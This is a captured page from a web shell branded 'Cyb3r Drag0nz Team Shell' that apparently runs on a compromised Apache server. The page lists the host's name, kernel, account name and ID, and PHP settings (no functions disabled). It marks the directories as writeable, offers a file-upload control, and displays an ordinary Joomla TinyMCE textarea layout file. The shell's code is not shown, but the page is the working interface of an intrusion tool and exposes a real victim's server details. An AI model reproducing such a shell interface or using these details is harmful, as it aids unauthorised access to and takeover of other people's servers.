Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /home/fenacobu/.trash/layouts/joomla/tinymce/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/fenacobu/.trash/layouts/joomla/tinymce/textarea.php

<?php

/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

$data = $displayData;
$wa   = Factory::getDocument()->getWebAssetManager();

if (!$wa->assetExists('script', 'tinymce')) {
    $wa->registerScript('tinymce', 'media/vendor/tinymce/tinymce.min.js', [], ['defer' => true]);
}

if (!$wa->assetExists('script', 'plg_editors_tinymce')) {
    $wa->registerScript('plg_editors_tinymce', 'plg_editors_tinymce/tinymce.min.js', [], ['defer' => true], ['core', 'tinymce']);
}

$wa->useScript('tinymce')->useScript('plg_editors_tinymce');
?>
<textarea
    name="<?php echo $data->name; ?>"
    id="<?php echo $data->id; ?>"
    cols="<?php echo $data->cols; ?>"
    rows="<?php echo $data->rows; ?>"
    style="width: <?php echo $data->width; ?>; height: <?php echo $data->height; ?>;"
    class="<?php echo empty($data->class) ? 'mce_editable' : $data->class; ?>"
    <?php echo $data->readonly ? ' readonly disabled' : ''; ?>
>
    <?php echo $data->content; ?>
</textarea>

Cyb3r Drag0nz Team • Google Edition